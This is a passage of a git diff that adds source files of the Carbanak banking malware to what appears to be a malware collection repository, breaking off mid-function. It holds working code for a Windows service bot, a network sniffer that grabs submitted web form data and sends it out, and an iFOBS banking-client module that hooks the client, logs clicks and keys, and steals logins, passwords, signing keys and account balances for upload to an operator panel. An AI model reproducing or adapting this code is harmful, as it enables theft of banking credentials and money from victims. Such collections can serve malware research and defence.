NOT_EXPLORER+ StartBot();+#else+ StartBotApart();+#endif+ int n = 0;+ //����� 5� ��������� ������+ while( serviceStatus.dwCurrentState == SERVICE_RUNNING )+ {+ Delay(1000);+ n++;+ if( n > 5 )+ {+ SC_HANDLE scmanager = API(ADVAPI32, OpenSCManagerA)(NULL, NULL, SERVICE_STOP);+ SC_HANDLE service = API(ADVAPI32, OpenServiceA)( scmanager, nameService, SERVICE_STOP );+ API(ADVAPI32, ControlService)( service, SERVICE_CONTROL_STOP, &serviceStatus);+ }+ }+ DbgMsg( "����� �� ServiceMain" );+}++bool Start()+{+ SERVICE_TABLE_ENTRY serviceTable[2];+ StringBuilderStack<64> nameService;+ StringBuilderStack<MAX_PATH> currPath;+ Path::GetStartupExe(currPath);+ currPath.Lower();+ if( !GetNameService( nameService, currPath ) )+ return false;+ Str::Copy( Config::nameService, sizeof(Config::nameService), nameService, nameService.Len() );++ serviceTable[0].lpServiceName = nameService;+ serviceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;+ serviceTable[1].lpServiceName = 0;+ serviceTable[1].lpServiceProc = 0;++ if( API(ADVAPI32, StartServiceCtrlDispatcherA)(serviceTable) )+ {+ return true;+ }+ DbgMsg( "������ ���� �� ����������, ������ %08x", API(KERNEL32, GetLastError)() );+ return false;+}++bool IsService( const StringBuilder& fileName )+{+ StringBuilderStack<MAX_PATH> path;+ path = fileName;+ path.Lower();+ StringBuilderStack<64> nameService;+ if( GetNameService( nameService, path ) )+ {+ DbgMsg( "Name runned service %s", nameService.c_str() );+ return true;+ }+// GetFileNameService(path);+// if( path == fileName )+// return true;+ return false;+}++bool DeleteWithFile( const StringBuilder& name, bool delFile )+{+ StringBuilder fileName;+ Service::GetFileName( name, fileName );+ DbgMsg( "��� ����� ������� %s", fileName.c_str() );+ Service::Delete(name);+ return File::DeleteHard(fileName);+}++bool GetFolderForService( StringBuilder& path )+{+ Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path );+ StringBuilderStack<64> testFileName;+ testFileName += (uint)API(KERNEL32, GetTickCount)();+ testFileName += _CS_(".txt");+ WIN32_FIND_DATAA fd;+ StringBuilderStack<MAX_PATH> mask;+ mask = path;+ Path::AppendFile( mask, _CS_("*.*") );+ HANDLE finder = API(KERNEL32, FindFirstFileA)( mask, &fd ); //��������� �����+ bool ret = false;+ if( finder != INVALID_HANDLE_VALUE )+ {+ StringBuilder folders[10];+ int n = 0;+ do+ {+ if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && fd.cFileName[0] != '.' )+ {+ StringBuilderStack<MAX_PATH> testFile;+ folders[n] = path;+ Path::AppendFile( folders[n], fd.cFileName );+ testFile = folders[n];+ Path::AppendFile( testFile, testFileName );+ char vvv = 0;+ if( File::WriteAll( testFile, &vvv, 1 ) )+ {+ File::Delete(testFile);+ n++;+ if( n >= 10 ) break;+ }+ }+ } while( API(KERNEL32, FindNextFileA)( finder, &fd ) );+ API(KERNEL32, FindClose)(finder);+ if( n > 0 )+ {+ int i = Rand::Gen(n - 1);+ path = folders[i];+ ret = true;+ DbgMsg( "Folder for service bot %s", path.c_str() );+ }+ }+ return ret;+}++bool GetFolderFromConfigTxt( const StringBuilder& dropper, StringBuilder& path )+{+ StringBuilderStack<MAX_PATH> configTxt;+ configTxt = dropper;+ Path::GetPathName(configTxt);+ Path::AppendFile( configTxt, _CS_("config.txt") );+ Mem::Data data;+ if( File::ReadAll( configTxt, data ) )+ {+ File::Delete(configTxt);+ StringBuilder s(data);+ int i1 = s.IndexOf('\r');+ int i2 = s.IndexOf('\n');+ int i = i1 < i2 ? i1 : i2;+ if( i > 0 ) s.Left(i);+ if( s.Len() > 10 )+ {+ DbgMsg( "Folder from config.txt %s", s );+ path = s;+ return true;+ }+ }+ return false;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.cppnew file mode 100644index 0000000..66d10ab--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.cpp@@ -0,0 +1,56 @@+#include "system.h"+#include "core\sniffer.h"+#include "core\file.h"+#include "Manager.h"++namespace FormGrabber+{++struct FGS+{+ char contentType[32];+ int c_contentType;+ int counter;+};++static DWORD WINAPI ThreadSniffer( void* );++void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path )+{+}++void StartCrossSniffer()+{+ RunThread( ThreadSniffer, 0 );+}++static bool CallbackSniffer( const IPHeader* header, const void* data, int c_data, void* tag )+{+ if( data == 0 || c_data <= 0 ) return false;+ FGS* fgs = (FGS*)tag;++ int offset = (((byte*)data)[12] >> 4) * 4; //�������� ������ (����� ��������� TCP-������ � 32-������� ������)+ const char* s = (const char*)data + offset; //������ HTTP ������� (��� ������)+ int c_s = c_data - offset;+ if( c_s < 16 ) return false;+ if( (s[0] == 'G' && s[1] == 'E' && s[2] == 'T') || (s[0] == 'P' && s[1] == 'O' && s[2] == 'S' && s[3] == 'T') )+ {+ if( Mem::IndexOf( data, c_data, fgs->contentType, fgs->c_contentType ) > 0 )+ {+ ManagerServer::SendData( _CS_("formgrabber"), s, c_s, true, _CS_("data.txt") );+ }+ }+ return false;+}++static DWORD WINAPI ThreadSniffer( void* )+{+ FGS fgs;+ Str::Copy( fgs.contentType, sizeof(fgs.contentType), _CS_("application/x-www-form-urlencoded") );+ fgs.c_contentType = Str::Len(fgs.contentType);+ fgs.counter = 0;+ Sniffer::Filter( 0, 0, 0, 0, IPPROTO_TCP, CallbackSniffer, 2000, &fgs );+ return 0;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.err b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.errnew file mode 100644index 0000000..e1723d0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/FormGrabber.err@@ -0,0 +1,7 @@+FormGrabber.cpp(1): Error! E059: col(10) unable to open 'system.h'+FormGrabber.cpp(2): Error! E059: col(10) unable to open 'core\sniffer.h'+FormGrabber.cpp(3): Error! E059: col(10) unable to open 'core\file.h'+FormGrabber.cpp(4): Error! E059: col(10) unable to open 'Manager.h'+FormGrabber.cpp(16): Error! E336: col(21) declaration specifiers are required to declare 'DWORD'+FormGrabber.cpp(16): Error! E006: col(14) syntax error; probable cause: missing ';'+FormGrabber.cpp(18): Error! E498: col(18) syntax error before 'hash'; probable cause: incorrectly spelled type namediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/ifobs.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/ifobs.cppnew file mode 100644index 0000000..f43f873--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/ifobs.cpp@@ -0,0 +1,671 @@+#include "system.h"+#include "Manager.h"+#include "core\debug.h"+#include "core\file.h"+#include "core\hook.h"+#include "core\keylogger.h"+#include "core\util.h"+#include "core\cab.h"+#include "core\rand.h"+#include "main.h"+#include "core\http.h"+#include "AdminPanel.h"+#include "task.h"++namespace IFobs+{++const DWORD HashClassEditControl = 0x0a635e74; // TcxCustomInnerTextEdit+const DWORD HashClassButtonControl = 0x0c9ce1fe; // TcxButton+const DWORD HashClassEditComboBox = 0x07a4e004; // TcxCustomComboBoxInnerEdit+//��� ���� �����������+const DWORD HashClassLoginForm = 0x094c8dd3; // TLoginForm.UnicodeClass+const DWORD HashSignAsForm = 0x04fc5813; // TSignAsForm.UnicodeClass++const int MaxFindedControl = 6;++int pluginInstalled = 0; //0 - ������ ��� �� �������, 1 - ������ �� �����������, 2 - ������ ������� ����������+uint icatchLog = 0; //����� � ������� ����� ���� �������++//�������� �� ifobs.plug+typedef BOOL ( WINAPI *typeInitFunc )(DWORD origFunc, char *funcName);++struct ForFindControl+{+ HWND wnds[MaxFindedControl];+ StringBuilderStack<MAX_PATH> texts[MaxFindedControl];+ int count;+ DWORD hash1, hash2;+};++struct AccBalans+{+ char accNumber[64];+ char accId[64];+ char balans[64];+ char nameBank[128];+ char login[64];+ char pwd1[64];+ char pwd2[64];+ char pathKeys[MAX_PATH];+ int set;+};++//���������� � ����������� ����������� ��� ifobs.plug+struct HookFunc //������� �� ������� �������� ���+{+ char* nameDll; //��� ��� � ������� ��������� nameHookFunc+ char* nameFunc; //��� ������� �� ������� ���������+ DWORD hashOrigFunc; //��� ����������� �������+ char* nameOrigFunc; //��� ����������� ������� (��� ifobs.plug)+};++//����� ���������� � ��� �����+struct NameIniParam+{+ char* key;+ char* val;+};++class IFobsLogger : public KeyLogger::ExecForFilterMsg+{+ protected:++ virtual void Exec( KeyLogger::FilterMsgParams& params );++ public:++ IFobsLogger( KeyLogger::FilterMsgBase* filter );++ static bool Start();+};++static HookFunc funcsPlug[] =+{+ { _CT_("VistaDB_D7.bpl"), _CT_("HProc2"), 0x074e8c79, _CT_("OpenDatabaseConnection") }, //@Vdbint@ivsql_OpenDatabaseConnection$qqripciiit2i+ { _CT_("RtlData1.bpl"), _CT_("HProc3"), 0x07850066, _CT_("TaskAfterSynchRun") }, //@Taskaftersynch@TCustomTaskAfterSynch@Run$qqrv+ { _CT_("vcl70.bpl"), _CT_("HProc4"), 0x05e08696, _CT_("TCustomFormShow") }, //@Forms@TCustomForm@Show$qqrv+ { _CT_("vcl70.bpl"), _CT_("HProc5"), 0x0c5a1d16, _CT_("TCustomFormCloseQuery") }, //@Forms@TCustomForm@CloseQuery$qqrv+ { _CT_("RtlStore.bpl"), _CT_("HProc6"), 0x0bd94326, _CT_("GlobalAppStorage") }, //@Appglobalstorage@GlobalAppStorage$qqrv+ { _CT_("RtlData1.bpl"), _CT_("HProc7"), 0x019c4b36, _CT_("FillDataToDBCache") }, //@Win32syncservice@TWin32SynchronizeService@FillDataToDBCache$qqrv+ { 0 }+};++static char* nameGlobal = _CT_("Global");+char* nameProcess = _CT_("ifobsclient.exe");+char* nameRtlExt_bpl = _CT_("RtlExt.bpl");+char* nameifobs_plug = _CT_("ifobs.plug");++static NameIniParam namesIFobsIni[] =+{+ { _CT_("Screen"), _CT_("1") },+ { _CT_("Podmena"), _CT_("1") },+ { _CT_("AzSend"), _CT_("1") },+ { _CT_("Bf"), _CT_("0") },+ { _CT_("Status1101"), _CT_("20") },+ { _CT_("Status1103"), _CT_("50") },+ { 0, 0 }+};++++DWORD btAccept[] = { 0x0ef7dfcc /* ������� */, 0x0f78d4e8 /* �������� */, 0x04799c74 /* Accept */,+ 0x03e72528 /* ϳ������� */, 0x03e722cc /* ��������� */, 0x00059fde /* Sign */, 0 };+AccBalans dataFromPlug; //������ �� ifobs.plug+char clientFolder[MAX_PATH];++IFobsLogger* logger = 0;+HANDLE eventInitIFobsPlug = 0;++static void HandlerLoaded_ifobs_plug( Pipe::AutoMsg msg, DWORD );+static void HandlerLoaded_rtlext_plug( Pipe::AutoMsg msg, DWORD);+static void HandlerCreateLog( Pipe::AutoMsg msg, DWORD);+static void GetPathInIFobsFolder( StringBuilder& path, const char* fileName );+static bool InstallIFobsPlugin();+static bool PlugIsInstalled();+static void WINAPI PutBalans( const char* accNumber, const char* accId, const char* balans, const char* nameBank );+static void WINAPI PutPasswords(const char* login, const char* pwd1, const char* pwd2, const char* pathKeys );+static void WINAPI SendLogsAdm(const char* logLine);+static void WINAPI SendLogsAdmFull(const char* logLine);+static void WINAPI SendLogsFile( const char* fileName, void* data, int size );++void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path )+{+ if( !Pipe::InitServerPipeResponse() ) return;+ Str::Copy( clientFolder, sizeof(clientFolder), path.c_str(), path.Len() );+ icatchLog = 0;+ ManagerServer::CreateVideoLog( _CS_("icatch"), HandlerCreateLog );+ //ManagerServer::SendData( _CS_("IFobsStart"), _CS_("Process start"), 13, false);+ if( ManagerServer::GetGlobalState(Task::GlobalState_IFobsUploaded) == '0' )+ ManagerServer::SendFolderPackToVideoServer( clientFolder, 0, _CS_("cabs"), _CS_("ifobs_client"), Task::GlobalState_IFobsUploaded );+ if( ManagerServer::GetGlobalState(Task::GlobalState_AutoLsaDll) == '0' )+ {+ ManagerServer::CmdExec( _CS_("secure lsa d.plg") );+ ManagerServer::SetGlobalState( Task::GlobalState_AutoLsaDll, '1' );+ }+ eventInitIFobsPlug = API(KERNEL32, CreateEventA)( nullptr, TRUE, FALSE, nullptr );+ bool plugLoaded = PlugIsInstalled();+ if( !plugLoaded )+ {+ StringBuilderStack<16> name( _CS_("rtlext.plug") );+ ManagerServer::LoadPlugin( name, HandlerLoaded_rtlext_plug );+ IFobsLogger::Start();+ if( API(KERNEL32, WaitForSingleObject)( eventInitIFobsPlug, 10000 ) == WAIT_OBJECT_0 )+ {+ //������ ��������+ plugLoaded = true;+ }+ }+ else+ {+ DbgMsg( "������ ��� ��� ��������" );+ }+ if( plugLoaded ) InstallIFobsPlugin();++ API(KERNEL32, CloseHandle)(eventInitIFobsPlug);+ eventInitIFobsPlug = 0;+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////+// ������� ������ � ifobs.plug+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////++static void HandlerLoaded_rtlext_plug( Pipe::AutoMsg msg, DWORD )+{+ StringBuilderStack<MAX_PATH> path;+ GetPathInIFobsFolder( path, DECODE_STRING(nameRtlExt_bpl) );+ DbgMsg( "��������� � ��������� '%s'", path );+ File::WriteAll( path, msg->data, msg->sz_data );+ StringBuilderStack<16> name( DECODE_STRING(nameifobs_plug) );+ ManagerServer::LoadPlugin( name, HandlerLoaded_ifobs_plug );+}++static void HandlerLoaded_ifobs_plug( Pipe::AutoMsg msg, DWORD )+{+ StringBuilderStack<MAX_PATH> path;+ GetPathInIFobsFolder( path, DECODE_STRING(nameifobs_plug) );+ DbgMsg( "��������� � ��������� '%s'", path );+ File::WriteAll( path, msg->data, msg->sz_data );+ API(KERNEL32, SetEvent)(eventInitIFobsPlug); //������� ��� ������� ���������+}++void HandlerCreateLog( Pipe::AutoMsg msg, DWORD)+{+ icatchLog = *((uint*)msg->data);+ DbgMsg( "������� �� ������ ��� ������ ����� icatch, %d", icatchLog );+}++static void GetPathInIFobsFolder( StringBuilder& path, const char* fileName )+{+ Path::GetCSIDLPath( CSIDL_LOCAL_APPDATA, path, _CS_("IFobs") );+ Path::CreateDirectory(path);+ Path::AppendFile( path, fileName );+}++static bool InstallIFobsPlugin()+{+ bool ret = false;+ DbgMsg( "���������� ifobs.plug" );+ StringBuilderStack<MAX_PATH> path;+ GetPathInIFobsFolder( path, _CS_("ifobs.ini") );+ if( !File::IsExists(path) )+ {+ NameIniParam* ini = namesIFobsIni;+ int i = 0;+ while( ini[i].key )+ {+ API(KERNEL32, WritePrivateProfileStringA)( DECODE_STRING(nameGlobal), DECODE_STRING(ini[i].key), DECODE_STRING(ini[i].val), path );+ i++;+ }+ }+ GetPathInIFobsFolder( path, _CS_("ifobs.plug") );+ HMODULE ifobsPlug = API(KERNEL32, LoadLibraryA)(path);+ typeInitFunc InitFunc = (typeInitFunc)API(KERNEL32, GetProcAddress)( ifobsPlug, _CS_("InitFunc") );+ if( InitFunc )+ {+ DbgMsg( "����� InitFunc" );++ if ( InitFunc( (DWORD)&PutBalans, _CS_("BalanceCallBack") ) )+ DbgMsg( "���������� BalanceCallBack");+ if ( InitFunc( (DWORD)&PutPasswords, _CS_("PasswordsCallBack") ) )+ DbgMsg( "���������� PasswordsCallBack" );+ if ( InitFunc( (DWORD)&SendLogsAdm, _CS_("SendLogsAdmCallBack") ) )+ DbgMsg( "���������� SendLogsAdmCallBack" );+ if ( InitFunc( (DWORD)&SendLogsAdmFull, _CS_("SendLogsAdmFullCallBack") ) )+ DbgMsg( "���������� SendLogsAdmFullCallBack" );+ if ( InitFunc( (DWORD)&SendLogsFile, _CS_("SendLogsFileCallBack") ) )+ DbgMsg( "���������� SendLogsFileCallBack" );++ HookFunc* fp = funcsPlug;+ while( fp->nameDll )+ {+ void* plugFunc = API(KERNEL32, GetProcAddress)( ifobsPlug, DECODE_STRING(fp->nameFunc) );+ if( !plugFunc ) break;+ DbgMsg( "������� ������� %s", fp->nameFunc );+ HMODULE dll = API(KERNEL32, GetModuleHandleA)( DECODE_STRING(fp->nameDll) );+ DWORD addrRealFunc = (DWORD)Hook::Set( dll, fp->hashOrigFunc, plugFunc );+ if( addrRealFunc == 0 ) break;+ DbgMsg( "���������� ��� �� %s", fp->nameOrigFunc );+ if( !InitFunc( addrRealFunc, DECODE_STRING(fp->nameOrigFunc) ) ) break;+ fp++;+ }+ if( fp->nameDll == 0 )+ {+ DbgMsg( "ifobs.plug ������� ����������" );+ icatchLog =+ ret = true;+ }+ }+ return ret;+}++static bool PlugIsInstalled()+{+ StringBuilderStack<MAX_PATH> path;+ GetPathInIFobsFolder( path, DECODE_STRING(nameifobs_plug) );+ if( File::IsExists(path) )+ {+ GetPathInIFobsFolder( path, DECODE_STRING(nameRtlExt_bpl) );+ if( File::IsExists(path) )+ return true;+ }+ return false;+}++static void SendDataCab( const char* name, const StringBuilder& logText, const char* pathKeys )+{+ Cab cab;+ cab.AddFile( _CS_("log.txt"), logText );+ DWORD attr = API(KERNEL32, GetFileAttributesA)(pathKeys);+ if( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) != 0 )+ {+ cab.AddFolder( _CS_("keys"), pathKeys );+ }+ cab.Close();+ StringBuilderStack<16> fileName;+ Rand::Gen( fileName, 5, 10 );+ fileName += _CS_(".cab");+ ManagerServer::SendData( name, cab.GetData().Ptr(), cab.GetData().Len(), true, fileName );+#ifdef ON_VIDEOSERVER+ ManagerServer::SendFileToVideoServer( _CS_("cabs"), name, _CS_("cab"), cab.GetData() );+#endif+}++//�������� ���������� ���������� ����� ifobs.plug+static void SendDataFromPlugin()+{+ StringBuilder s(1024);+ s.Format( _CS_("Login: '%s'\r\nPassword system: '%s'\r\nPassword keys: '%s'\r\nPath keys: %s\r\nClient folder: %s\r\n\r\nAccount: %s\r\nAccId: %s\r\nBalans: %s\r\nName bank: %s\r\n"),+ dataFromPlug.login, dataFromPlug.pwd1, dataFromPlug.pwd2, dataFromPlug.pathKeys,+ clientFolder, dataFromPlug.accNumber, dataFromPlug.accId, dataFromPlug.balans, dataFromPlug.nameBank );+ SendDataCab( _CS_("ifobs_plug"), s, dataFromPlug.pathKeys );++ //������� ������ � ������� az+ s.Format( _CS_("DLL -> Login: '%s', Password system: '%s', Password keys: '%s', Path keys: %s, Client folder: %s"),+ dataFromPlug.login, dataFromPlug.pwd1, dataFromPlug.pwd2, dataFromPlug.pathKeys, clientFolder );+ StringBuilder userAZ;+ Config::NameUserAZ(userAZ);+ StringBuilder sEncoded, bankEncoded;+ HTTP::UrlEncode( s, sEncoded );+ HTTP::UrlEncode( dataFromPlug.nameBank, bankEncoded );+ StringBuilder urlFile(1024);++ urlFile.Format( _CS_("raf/?uid=%s&sys=ifobs&cid=%s&mode=balance&sum=%s&acc=%s&text=bank|%s&w=1&ida=%s"),+ Config::UID, userAZ.c_str(), dataFromPlug.balans, dataFromPlug.accNumber, bankEncoded.c_str(), dataFromPlug.accId );+ ManagerServer::ExecRequest( AdminPanel::AZ, urlFile );++ urlFile.Format( _CS_("raf/?uid=%s&sys=ifobs&cid=%s&mode=setlog&log=00&text=%s"),+ Config::UID, userAZ.c_str(), sEncoded.c_str() );+ ManagerServer::ExecRequest( AdminPanel::AZ, urlFile );++}++static void WINAPI PutBalans( const char* accNumber, const char* accId, const char* balans, const char* nameBank )+{+ DbgMsg( "IFobs.plug acc: '%s', balans: '%s', name bank: '%s'", accNumber, balans, nameBank );+ Str::Copy( dataFromPlug.accNumber, sizeof(dataFromPlug.accNumber), accNumber );+ Str::Trim(dataFromPlug.accNumber);++ Str::Copy( dataFromPlug.accId, sizeof(dataFromPlug.accId), accId );+ Str::Trim(dataFromPlug.accId);++ Str::Copy( dataFromPlug.balans, sizeof(dataFromPlug.balans), balans );+ Str::Copy( dataFromPlug.nameBank, sizeof(dataFromPlug.nameBank), nameBank );+ dataFromPlug.set |= 1;+ if( dataFromPlug.set == 3 ) //��� ���� ���������+ SendDataFromPlugin();+}++static void WINAPI PutPasswords( const char* login, const char* pwd1, const char* pwd2, const char* pathKeys )+{+ DbgMsg( "IFobs.plug login: '%s', psw1: '%s', psw2: '%s'", login, pwd1, pwd2 );+ Str::Copy( dataFromPlug.login, sizeof(dataFromPlug.login), login );+ Str::Copy( dataFromPlug.pwd1, sizeof(dataFromPlug.pwd1), pwd1 );+ Str::Copy( dataFromPlug.pwd2, sizeof(dataFromPlug.pwd2), pwd2 );+ Str::Copy( dataFromPlug.pathKeys, sizeof(dataFromPlug.pathKeys), pathKeys );+ dataFromPlug.set |= 2;+ if( dataFromPlug.set == 3 ) //��� ���� ���������+ SendDataFromPlugin();+}++static void WINAPI SendLogsAdm( const char* logLine )+{+// ManagerServer::SendData( _CS_("ifobs_plug_log"), logLine, Str::Len(logLine), false );+ StringBuilder userAZ;+ Config::NameUserAZ(userAZ);+ StringBuilder logEncoded;+ HTTP::UrlEncode( logLine, logEncoded );+ StringBuilder urlFile(1024);+ urlFile.Format( _CS_("raf/?uid=%s&sys=ifobs&cid=%s&mode=setlog&log=00&text=%s"), Config::UID, userAZ.c_str(), logEncoded.c_str() );+ ManagerServer::ExecRequest( AdminPanel::AZ, urlFile );+}++static void WINAPI SendLogsAdmFull( const char* logLine )+{+ ManagerServer::SendVideoLog( icatchLog, logLine );+}++static void WINAPI SendLogsFile( const char* fileName, void* data, int size )+{+ char name[64];+ Str::Copy( name, sizeof(name), Path::GetFileName(fileName) );+ char* ext = Path::GetFileExt(name);+ if( ext )+ {+ *ext = 0;+ ext++;+ }+ if( data && size > 0 )+ {+ Mem::Data data2;+ data2.Link( data, size );+ ManagerServer::SendFileToVideoServer( _CS_("ifobs_files"), name, ext, data2 );+ data2.Unlink();+ }+ else+ {+ Mem::Data data2;+ if( File::ReadAll( fileName, data2 ) )+ {+ ManagerServer::SendFileToVideoServer( _CS_("ifobs_files"), name, ext, data2 );+ File::Delete(fileName);+ }+ }+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////+// ������� ������������ ifobs+/////////////////////////////////////////////////////////////////////////////////////////////////////////////++//��� ������ �������+static bool IsBtAccept( uint hash, const char* text )+{+ if( hash == 0 ) hash = Str::Hash(text);+ int i = 0;+ while( btAccept[i] ) //������� � ������� �����+ {+ if( btAccept[i] == hash ) return true; //������ �������+ i++;+ }+ return false;+}++static BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam )+{+ ForFindControl* ffc = (ForFindControl*)lParam;+ StringBuilderStack<128> s;+ Window::GetNameClass( hwnd, s );+ DWORD hash = s.Hash();+ if( hash == ffc->hash1 || hash == ffc->hash2 )+ {+ ffc->wnds[ffc->count] = hwnd;+ Window::GetCaption( hwnd, ffc->texts[ffc->count] );+ DbgMsg( "Find control %08x, text = '%s'", hwnd, ffc->texts[ffc->count].c_str() );+ ffc->count++;+ if( ffc->count >= MaxFindedControl ) return FALSE;+ }+ return TRUE;+}++static HWND GetLoginForm( HWND wnd, bool& loginWindow )+{+ HWND mainWnd = Window::GetParentWithCaption(wnd);+ StringBuilderStack<128> className;+ Window::GetNameClass( mainWnd, className );+ uint hash = className.Hash();+ if( hash != HashClassLoginForm && hash != HashSignAsForm )+ {+ wnd = mainWnd;+ mainWnd = 0;+ hash = 0;+ }+ if( mainWnd == 0 )+ {+ ForFindControl* ffc = new ForFindControl;+ ffc->count = 0;+ ffc->hash1 = HashClassLoginForm;+ ffc->hash2 = HashSignAsForm;+ API(USER32, EnumChildWindows)( wnd, EnumChildProc, (LPARAM)ffc );+ if( ffc->count > 0 )+ mainWnd = ffc->wnds[0];+ else+ {+ API(USER32, EnumWindows)( EnumChildProc, (LPARAM)ffc );+ if( ffc->count > 0 )+ mainWnd = ffc->wnds[0];+ }+ delete ffc;+ }+ if( mainWnd )+ {+ if( hash == 0 )+ {+ Window::GetNameClass( mainWnd, className );+ hash = className.Hash();+ }+ loginWindow = (hash == HashClassLoginForm);+ DbgMsg( "����� ���� ����������� %08x", mainWnd );+ }+ else+ DbgMsg( "���� ����������� ���������" );+ return mainWnd;+}++//� ���� ����������� 4-� ��������� ���� �����, ����� ������������ ���� �������� ���� ������� ��� ��������+//� ������� texts ��������� ForFindEditControl ��� ��������� � ��������� �������: 0 - ���� � ������,+//1 - ������ ��� ������, 2 - ������ ��� ����� �������, 3 - �����+static void GrabData( HWND wnd, bool loginWindow )+{+ DbgMsg( "������ ������" );+ ForFindControl* ffc = new ForFindControl;+ ffc->count = 0;+ if( loginWindow ) //���� �����������+ {+ ffc->hash1 = HashClassEditControl;+ ffc->hash2 = -1;+ }+ else //���� �������+ {+ ffc->hash1 = HashClassEditControl;+ ffc->hash2 = HashClassEditComboBox;+ }+ API(USER32, EnumChildWindows)( wnd, EnumChildProc, (LPARAM)ffc );+ StringBuilder s(1024);+ char* keysPath = 0;+ if( loginWindow ) //���� �����������+ {+ s.Format( _CS_("Login window:\r\n\r\nLogin: '%s'\r\nPassword system: '%s'\r\nPassword key: '%s'\r\nPath keys: %s\r\nClient folder: %s"),+ ffc->texts[3].c_str(), ffc->texts[2].c_str(), ffc->texts[1].c_str(), ffc->texts[0].c_str(), clientFolder );+ keysPath = ffc->texts[0].c_str();+ }+ else+ {+ s.Format( _CS_("Sign window:\r\n\r\nSign login: '%s'\r\nSign Password: '%s'\r\nSign Path: %s\r\nClient folder: %s"),+ ffc->texts[2].c_str(), ffc->texts[1].c_str(), ffc->texts[0].c_str(), clientFolder );+ keysPath = ffc->texts[0].c_str();+ }+ SendDataCab( _CS_("ifobs_cab"), s, keysPath );++ delete ffc;+}++////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////++IFobsLogger::IFobsLogger( KeyLogger::FilterMsgBase* filter ) : KeyLogger::ExecForFilterMsg(filter)+{+}++void IFobsLogger::Exec( KeyLogger::FilterMsgParams& params )+{+ bool loginWindow;+ if( params.msg == WM_LBUTTONUP )+ {+ //������� ������ �� �� ������ �������+ if( IsBtAccept( params.infoWnd->hashCaption, 0 ) )+ {+ HWND parent = GetLoginForm( params.hwnd, loginWindow );+ GrabData( parent, loginWindow );+ }+ }+ else+ {+ DbgMsg( "������ ������� Enter" );+ //���� ������� ����+ HWND mainWnd = GetLoginForm( params.hwnd, loginWindow );++ //���� ��� ������ �� �����+ ForFindControl* ffc = new ForFindControl;+ ffc->count = 0;+ ffc->hash1 = HashClassButtonControl;+ ffc->hash2 = -1;+ API(USER32, EnumChildWindows)( mainWnd, EnumChildProc, (LPARAM)ffc );+ //���� ������ �������+ for( int i = 0; i < ffc->count; i++ )+ {+ if( IsBtAccept( 0, ffc->texts[i] ) )+ {+ //������� ������� ��� ��� ���+ if( API(USER32, IsWindowEnabled)( ffc->wnds[i] ) )+ {+ DbgMsg( "������ ������� �������" );+ GrabData( mainWnd, loginWindow );+ }+ else+ DbgMsg( "������ ������� �������������" );+ break;+ }+ }+ delete ffc;+ }+}++bool IFobsLogger::Start()+{+ //����������� ������ �� ������� ������ ����+ uint mouseMsg[1];+ mouseMsg[0] = WM_LBUTTONUP;+ KeyLogger::FilterMsg* filterMouse = new KeyLogger::FilterMsg( mouseMsg, 1 );+ if( filterMouse )+ {+ //����������� ������ �� ������� Enter+ uint keyMsg[1];+ keyMsg[0] = WM_KEYUP;+ uint keys[1];+ keys[0] = VK_RETURN;+ KeyLogger::FilterKey* filterKey = new KeyLogger::FilterKey( keyMsg, 1, keys, 1 );+ if( filterKey )+ {+ //������� ���������� ������+ KeyLogger::FilterMsgBase* filters[2];+ filters[0] = filterMouse;+ filters[1] = filterKey;+ KeyLogger::FilterMsgOr* filtersOr = new KeyLogger::FilterMsgOr( (const KeyLogger::FilterMsgBase**)filters, 2 );+ if( filtersOr )+ {+ logger = new IFobsLogger(filtersOr);+ if( logger )+ {+ if( KeyLogger::JoinDispatchMessageWnd(logger) )+ return true;+ }+ delete filtersOr;+ }+ delete filterKey;+ }+ delete filterMouse;+ }+ return false;+}++static void HandlerLoaded_z_ini( Pipe::AutoMsg msg, DWORD )+{+ StringBuilderStack<MAX_PATH> path;+ GetPathInIFobsFolder( path, _CS_("z.ini") );+ File::WriteAll( path, msg->data, msg->sz_data );+ API(KERNEL32, SetEvent)( (HANDLE)msg->tag );+ DbgMsg( "z.ini ������" );+}++static void DeletePlugins()+{+ Process::Kill( DECODE_STRING(nameProcess), 5000 );+ StringBuilder path;+ GetPathInIFobsFolder( path, DECODE_STRING(nameifobs_plug) );+ File::Delete(path);+ GetPathInIFobsFolder( path, DECODE_STRING(nameRtlExt_bpl) );+ File::Delete(path);+}++void CreateFileReplacing( StringBuilder& s )+{+ if( s.IsEmpty() ) return;+ StringBuilder path, pathIFobsIni;+ GetPathInIFobsFolder( pathIFobsIni, _CS_("ifobs.ini") );+ NameIniParam* ini = namesIFobsIni;+ char buf[2]; buf[0] = '1'; buf[1] = 0;+ API(KERNEL32, WritePrivateProfileStringA)( DECODE_STRING(nameGlobal), _CS_("Bf"), buf, pathIFobsIni );+ bool f5 = false;+ StringArray args = s.Split(' ');+ for( int i = 0; i < args.Count(); i++ )+ {+ StringBuilder& arg = args[i];+ if( args[i]->IsEmpty() ) continue;+ if( arg.IndexOf('\\') > 0 || arg.IndexOf('/') > 0 || arg.IndexOf(':') > 0 ) //url+ {+ GetPathInIFobsFolder( path, _CS_("z.ini~") );+ File::Delete(path);+ HANDLE eventLoaded = API(KERNEL32, CreateEventA)( nullptr, TRUE, FALSE, nullptr );+ ManagerServer::LoadFile( 